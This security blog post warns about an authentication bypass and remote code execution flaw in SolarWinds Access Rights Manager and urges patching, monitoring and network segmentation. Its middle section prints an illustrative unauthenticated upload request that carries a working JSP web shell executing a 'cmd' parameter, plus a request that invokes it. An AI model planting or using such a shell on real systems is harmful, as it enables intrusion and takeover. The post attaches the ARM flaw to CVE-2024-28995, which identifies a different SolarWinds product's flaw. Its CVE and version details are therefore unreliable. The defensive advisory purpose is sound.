SolarWinds ARM: Your Access Control Just Got Out of Control
Back to Blog
Vulnerability
Jun 05, 20268 min read

SolarWinds ARM: Your Access Control Just Got Out of Control

S
Shubham Singla

I'm starting to think 'IT management tool' is just a fancy euphemism for 'target-rich environment.' Seriously, it feels like every other week, some critical piece of infrastructure software, designed to make our lives easier, decides to give up the ghost and offer up an RCE on a silver platter. This time, it's SolarWinds Access Rights Manager (ARM) in the spotlight, and folks, it's not a performance you want to miss.

An attacker exploiting a vulnerability in a server, showing digital code flowing out of a server rack.

When Access Management Grants Universal Access

Let's cut to the chase. SolarWinds ARM, bless its heart, is supposed to be the gatekeeper for your critical data – managing user access rights, permissions, and auditing who can do what across your Active Directory, file servers, and SharePoint. You know, all the sensitive stuff. Well, it turns out that gatekeeper had a rather flimsy lock on its own front door.

We're talking about CVE-2024-28995, a critical authentication bypass vulnerability that can lead directly to arbitrary file write and, ultimately, remote code execution. Released on May 14, 2024, this one's a doozy, earning a CVSS v3 score of 9.9. If you're running ARM, you should probably be sweating a little.

The Anatomy of a Catastrophe

So, how does this party trick work? At a high level, an unauthenticated attacker can hit specific endpoints on the ARM web console. Think of it like a poorly secured API endpoint where the developer just assumed nobody would ever call it without being logged in. This initial bypass allows the attacker to drop arbitrary files onto the server running ARM. And when I say 'arbitrary files,' I mean any file, anywhere the web service account has write permissions. Which, let's be honest, is usually a lot more places than it should be.

From there, it's a short hop, skip, and a jump to full-blown RCE. Drop a web shell into a web-accessible directory, or perhaps overwrite a critical service configuration file, or even mess with a scheduled task. Your imagination (and the target system's permissions) is the only limit.

It’s like finding a back door to your server room, where instead of a simple lock, there’s a note saying, "Authentication? Nah, just come on in and leave whatever files you want!" Any good red teamer knows an arbitrary file write on a web server is practically a gilded invitation to pop a shell.

# Example of a simplistic exploit chain idea (not actual code for CVE-2024-28995)
# 1. Unauthenticated request to vulnerable endpoint
POST /solarwinds/arm/vulnerable/api/upload HTTP/1.1
Host: arm.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

----WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="webshell.jsp"

<%@page import="java.io.*"%>
<% out.println("Hello from your new shell!"); %>
<% if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br/>");
}
} %>
----WebKitFormBoundary--

# 2. Access the uploaded webshell
GET /solarwinds/arm/webshell.jsp?cmd=whoami HTTP/1.1
Host: arm.example.com
Abstract depiction of data flow or an attack, with glowing lines and binary code representing digital processes.

The Blast Radius: What's at Stake?

If an attacker successfully exploits this, they're not just getting a foothold; they're getting a key to the kingdom, possibly with a little note attached that says "here's where all the interesting stuff is." SolarWinds ARM often runs with elevated privileges because it needs to interact with Active Directory, file shares, and other sensitive systems to manage permissions. This means an attacker gaining RCE on the ARM server could:

  • Escalate Privileges: Move laterally to domain controllers or other critical infrastructure.
  • Exfiltrate Data: Access sensitive data stored on file shares or databases that ARM has access to.
  • Manipulate Permissions: Create new backdoor accounts, modify existing user permissions, or grant themselves access to highly sensitive resources.
  • Impair Defenses: Disable logging, tamper with auditing, or remove security software, covering their tracks.

From a MITRE ATT&CK perspective, we're looking at initial access techniques like T1190 (Exploit Public-Facing Application). Once inside, an attacker can leverage T1078.003 (Valid Accounts: Local Accounts) if they create one, or simply use the existing service account. Then, they're likely moving towards T1505.003 (Server Software Component: Web Shell) for persistence and full control. The scary part is the pivot potential – from ARM, they can touch almost anything that matters.

I've seen environments where the ARM server was effectively a jump box to everything. When that box is compromised, your entire access control strategy goes out the window faster than a bad commit on Friday afternoon.

Patch It, Seriously.

This isn't one of those "patch when you get a chance" vulnerabilities. This is a "drop everything and patch yesterday" situation. SolarWinds has released a fix, and you need to deploy it:

  1. Identify Affected Versions: All versions of SolarWinds Access Rights Manager (ARM) are affected prior to 2023.2.1. Check your version immediately.
  2. Patch Now: Upgrade to version 2023.2.1 or later. This is not optional.
  3. Monitor for Post-Exploitation: Even after patching, assume the worst. Scour your ARM server logs, related Active Directory logs, and network traffic for any signs of suspicious activity that might indicate a compromise occurred before the patch. Look for unexpected file creations, service modifications, or unusual outbound connections from the ARM server.
  4. Network Segmentation: If your ARM server is sitting wide open on the internet, you're doing it wrong. Restrict access to the ARM web interface to only trusted administrative networks and VPNs.
  5. Least Privilege: Review the permissions of the service account running ARM. Can they be further restricted without breaking functionality? Every little bit helps.

Don't be the organization that finds out about this the hard way. Your access management solution is precisely the kind of tool that should never become an adversary's launching pad. Secure it, monitor it, and treat it with the respect (and paranoia) it deserves.